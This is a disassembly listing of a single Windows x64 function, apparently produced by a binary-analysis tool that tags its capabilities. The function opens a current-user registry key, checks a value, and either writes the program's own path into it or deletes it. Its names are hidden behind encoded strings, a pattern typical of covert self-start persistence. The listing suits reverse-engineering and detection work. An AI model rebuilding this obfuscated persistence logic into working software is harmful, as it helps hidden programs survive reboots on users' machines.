Function at 0x14004e760
Capabilities:
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
mov byte [rsp + 8], cl
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x6d8]
sub rsp, 0x7d8
movzx r12d, byte [0x14021b05a]
xor r13d, r13d
mov qword [rbp + 0x68], r13
mov qword [rbp + 0x78], r13
mov qword [rbp + 0x80], r13
lea r8d, [r13 + 0x3c]
lea rdx, str.UW1kcnVfcGNaS2dhcG1xbWRyWlVnbGJtdXFaQXNwcGNsclRjcHFnbWxaUHNs
lea rcx, [rbp + 0x68]
call fcn.140030750
nop
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
lea r8d, [r13 + 8]
lea rdx, str.TkE_bm4
lea rcx, [rsp + 0x40]
call fcn.140030750
nop
mov r8d, 0x104
lea rdx, [rbp + 0xc0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], r13
lea r14, [rbp + 0x68]
cmp qword [rbp + 0x80], 8
cmovae r14, qword [rbp + 0x68]
movabs rsi, 0x7ffffffffffffffe
mov rdi, qword [rbp + 0x78]
cmp rdi, rsi
ja 0x14004f1c5
lea eax, [r13 + 0xa]
mov qword [rbp - 0x70], 7
cmp rdi, 8
jae 0x14004e846
mov qword [rbp - 0x78], rdi
lea r8d, [r13 + 0x10]
mov rdx, r14
lea rcx, [rsp + 0x78]
call fcn.140185440
jmp 0x14004e88c
mov rbx, rdi
or rbx, 7
cmp rbx, rsi
jbe 0x14004e857
mov rbx, rsi
jmp 0x14004e85e
cmp rbx, rax
cmovb rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rsp + 0x78]
call fcn.140030fc0
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x70], rbx
lea r8, [rdi*2 + 2]
mov rdx, r14
mov rcx, rax
call fcn.140185440
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x88]
call fcn.14004bc20
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
mov r9d, 0xf003f
xor r8d, r8d
mov rdx, qword [rax]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
mov rdx, qword [rbp + 0x88]
add rdx, 0xffffffffffffffe8
mov rdi, 0xffffffffffffffff
mov ecx, edi
lock xadd dword [rdx + 0x10], ecx
sub ecx, 1
jg 0x14004e8ea
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
test ebx, ebx
jne 0x14004f124
mov dword [rbp + 0x720], 0x200
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x50], r13
lea r15, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae r15, qword [rsp + 0x40]
mov r14, qword [rsp + 0x50]
cmp r14, rsi
ja 0x14004f1cb
mov qword [rbp - 0x50], 7
cmp r14, 8
jae 0x14004e94b
mov qword [rbp - 0x58], r14
lea r8d, [rbx + 0x10]
mov rdx, r15
lea rcx, [rbp - 0x68]
call fcn.140185440
jmp 0x14004e995
mov rbx, r14
or rbx, 7
cmp rbx, rsi
jbe 0x14004e95c
mov rbx, rsi
jmp 0x14004e969
cmp rbx, 0xa
mov eax, 0xa
cmovb rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rbp - 0x68]
call fcn.140030fc0
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], rbx
lea r8, [r14*2 + 2]
mov rdx, r15
mov rcx, rax
call fcn.140185440
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x90]
call fcn.14004bc20
lea rcx, [rbp + 0x720]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x2d0]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebx, eax
mov rdx, qword [rbp + 0x90]
add rdx, 0xffffffffffffffe8
mov ecx, edi
lock xadd dword [rdx + 0x10], ecx
sub ecx, 1
jg 0x14004e9f4
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
test ebx, ebx
je 0x14004f044
test r12b, r12b
je 0x14004f115
mov qword [rbp + 0x48], r13
mov qword [rbp + 0x58], r13
mov qword [rbp + 0x60], r13
mov r8d, 8
lea rdx, str.LWdsZ3I
lea rcx, [rbp + 0x48]
call fcn.140030750
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14004f1d1
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0x70], rax
mov qword [rbp + 0x28], r13
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x38], xmm0
xor r8d, r8d
lea rbx, [0x1401e3cf8]
mov rdx, rbx
lea rcx, [rbp + 0x28]
call fcn.140030750
nop
lea rcx, [rbp + 0x28]
call fcn.14004f230
test al, al
jne 0x14004ed94
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14004f1dc
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0x68], rax
lea r14, str.bnBtYnNhcg
mov rdx, r14
lea rcx, [rsp + 0x68]
call fcn.140031e00
test al, al
jne 0x14004eadc
mov rax, rdi
nop word [rax + rax]
inc rax
cmp word [r14 + rax*2], 0
jne 0x14004eac0
mov r8d, eax
mov rdx, r14
lea rcx, [rsp + 0x68]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14004f1e7
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0x60], rax
lea r14, str.X25uXW5fcF9rXWFmX2xlY2I
mov rdx, r14
lea rcx, [rsp + 0x60]
call fcn.140031e00
test al, al
jne 0x14004eb3c
mov rax, rdi
nop word [rax + rax]
inc rax
cmp word [r14 + rax*2], 0
jne 0x14004eb20
mov r8d, eax
mov rdx, r14
lea rcx, [rsp + 0x60]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14004f1f2
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x738], rax
mov rdx, rbx
lea rcx, [rbp + 0x738]
call fcn.140031e00
test al, al
jne 0x14004eb91
mov rax, rdi
inc rax
cmp word [rbx + rax*2], 0
jne 0x14004eb74
mov r8d, eax
mov rdx, rbx
lea rcx, [rbp + 0x738]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14004f1fd
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x730], rax
mov rdx, rbx
lea rcx, [rbp + 0x730]
call fcn.140031e00
test al, al
jne 0x14004ebed
mov rax, rdi
nop dword [rax]
inc rax
cmp word [rbx + rax*2], 0
jne 0x14004ebd0
mov r8d, eax
mov rdx, rbx
lea rcx, [rbp + 0x730]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14004f208
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x728], rax
mov rdx, rbx
lea rcx, [rbp + 0x728]
call fcn.140031e00
test al, al
jne 0x14004ec42
mov rax, rdi
inc rax
cmp word [rbx + rax*2], 0
jne 0x14004ec25
mov r8d, eax
mov rdx, rbx
lea rcx, [rbp + 0x728]
call fcn.140032190
nop
mov r15, qword [rsp + 0x60]
lea rcx, [r15 - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rbp - 0x28], rax
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0xa0]
call fcn.14004beb0
mov rbx, rax
mov r14, qword [rsp + 0x68]
lea rcx, [r14 - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rbp - 0x20], rax
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x98]
call fcn.14004beb0
nop
lea rcx, [rbp + 0x738]
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x730]
lea r8, [rbp + 0x728]
mov rdx, rbx
mov rcx, rax
call fcn.140061650
nop
mov rdx, qword [rbp + 0x98]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14004ecd9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0xa0]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14004ecfa
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x728]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14004ed1b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x730]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14004ed3c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x738]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14004ed5d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, edi
lock xadd dword [r15 - 8], eax
sub eax, 1
jg 0x14004ed79
mov rcx, qword [r15 - 0x18]
mov rax, qword [rcx]
lea rdx, [r15 - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, edi
lock xadd dword [r14 - 8], eax
sub eax, 1
jg 0x14004ed94
mov rcx, qword [r14 - 0x18]
mov rax, qword [rcx]
lea rdx, [r14 - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea r12, [rbp + 0x28]
cmp qword [rbp + 0x40], 8
cmovae r12, qword [rbp + 0x28]
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x30], r13
lea r15, [rbp + 0x48]
cmp qword [rbp + 0x60], 8
cmovae r15, qword [rbp + 0x48]
mov r14, qword [rbp + 0x58]
cmp r14, rsi
ja 0x14004f213
mov qword [rbp - 0x30], 7
cmp r14, 8
jae 0x14004edef
mov qword [rbp - 0x38], r14
mov r8d, 0x10
mov rdx, r15
lea rcx, [rbp - 0x48]
call fcn.140185440
jmp 0x14004ee39
mov rbx, r14
or rbx, 7
cmp rbx, rsi
jbe 0x14004ee00
mov rbx, rsi
jmp 0x14004ee0d
cmp rbx, 0xa
mov eax, 0xa
cmovb rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rbp - 0x48]
call fcn.140030fc0
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], rbx
lea r8, [r14*2 + 2]
mov rdx, r15
mov rcx, rax
call fcn.140185440
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0xa8]
call fcn.14004bc20
nop
mov qword [rsp + 0x20], r12
mov r9, qword [rax]
lea r8, [rbp + 0xc0]
lea rdx, str.__ws___ws__ws
lea rcx, [rsp + 0x70]
call fcn.140025c80
nop
mov rdx, qword [rbp + 0xa8]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14004ee8b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x70]
mov r14, rdi
inc r14
cmp word [rbx + r14*2], 0
jne 0x14004ee93
add r14d, r14d
mov qword [rbp - 0x18], r13
mov qword [rbp - 8], r13
lea r12, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae r12, qword [rsp + 0x40]
mov r15, qword [rsp + 0x50]
mov qword [rbp], 7
cmp r15, 8
jae 0x14004eee5
mov qword [rbp - 8], r15
mov r8d, 0x10
mov rdx, r12
lea rcx, [rbp - 0x18]
call fcn.140185440
jmp 0x14004ef2d
mov rax, r15
or rax, 7
cmp rax, rsi
ja 0x14004ef01
mov rsi, rax
cmp rax, 0xa
mov eax, 0xa
cmovb rsi, rax
lea rdx, [rsi + 1]
lea rcx, [rbp - 0x18]
call fcn.140030fc0
mov qword [rbp - 0x18], rax
mov qword [rbp - 8], r15
mov qword [rbp], rsi
lea r8, [r15*2 + 2]
mov rdx, r12
mov rcx, rax
call fcn.140185440
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0xb0]
call fcn.14004bc20
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rdx, qword [rbp + 0xb0]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14004ef7f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x40]
cmp rdx, 8
jb 0x14004efbf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004efba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004f219
call fcn.140183144
movdqa xmm0, xmmword [0x1401f49f0]
movdqu xmmword [rbp + 0x38], xmm0
mov word [rbp + 0x28], r13w
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], edi
sub edi, 1
jg 0x14004efee
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x60]
cmp rdx, 8
jb 0x14004f115
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004f02d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004f21f
call fcn.140183144
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov bl, 1
jmp 0x14004f126
test r12b, r12b
jne 0x14004f115
mov qword [rbp + 8], r13
mov qword [rbp + 0x18], r13
lea r14, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae r14, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x50]
mov qword [rbp + 0x20], 7
cmp rbx, 8
jae 0x14004f091
mov qword [rbp + 0x18], rbx
mov r8d, 0x10
mov rdx, r14
lea rcx, [rbp + 8]
call fcn.140185440
jmp 0x14004f0d9
mov rax, rbx
or rax, 7
cmp rax, rsi
ja 0x14004f0ad
mov rsi, rax
cmp rax, 0xa
mov eax, 0xa
cmovb rsi, rax
lea rdx, [rsi + 1]
lea rcx, [rbp + 8]
call fcn.140030fc0
mov qword [rbp + 8], rax
mov qword [rbp + 0x18], rbx
mov qword [rbp + 0x20], rsi
lea r8, [rbx*2 + 2]
mov rdx, r14
mov rcx, rax
call fcn.140185440
lea rdx, [rbp + 8]
lea rcx, [rbp + 0xb8]
call fcn.14004bc20
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rdx, qword [rbp + 0xb8]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], edi
sub edi, 1
jg 0x14004f115
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov bl, 1
jmp 0x14004f126
xor bl, bl
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14004f169
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004f163
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004f225
call fcn.140183144
nop
mov rdx, qword [rbp + 0x80]
cmp rdx, 8
jb 0x14004f1a8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004f1a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004f1bf
call fcn.140183144
movzx eax, bl
add rsp, 0x7d8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.140189c24
nop
call fcn.140030df0
nop
call fcn.140030df0
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
call fcn.140030df0
nop
call fcn.140189c24
nop
call fcn.140189c24
nop
call fcn.140189c24
int3